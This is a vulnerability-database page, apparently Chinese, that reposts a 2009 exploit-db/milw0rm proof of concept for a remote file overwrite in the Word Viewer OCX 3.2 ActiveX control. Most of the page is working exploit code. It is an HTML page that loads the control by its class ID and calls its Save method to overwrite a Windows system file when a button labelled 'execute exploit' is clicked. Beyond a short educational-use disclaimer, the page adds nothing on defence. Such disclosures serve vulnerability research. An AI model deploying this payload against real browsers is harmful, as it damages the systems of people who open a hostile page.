Word Viewer OCX 3.2 - ActiveX 'Save' Remote File Overwrite

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057286 漏洞类型
发布时间 2009-01-13 更新时间 2009-01-13
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/7747
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
=======================================================================================<br>
Author: Houssamix									   <br>
=======================================================================================<br>

 Word viewer OCX V 3.2 Remote File Overwrite exploit				<br>
 Download : http://www.officeocx.com/download/WordOCXSetup3.2.exe		 <br>

 Tested on Windows XP Professional SP2 , with Internet Explorer 6	<br>


=======================================================================================<br>
<HTML>
<BODY>
 <object id=hsmx classid="clsid:{97AF4A45-49BE-4485-9F55-91AB40F22BF2}"></object>

<SCRIPT>

function Do_it()
 {
     File = "c:\\windows\\system_.ini"
   hsmx.Save(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="execute exploit"><br>
</body>
</HTML>
=======================================================================================<br>

This was written for educational purpose. Use it at your own risk.<br>
Author will be not responsible for any damage.<br>

# milw0rm.com [2009-01-13]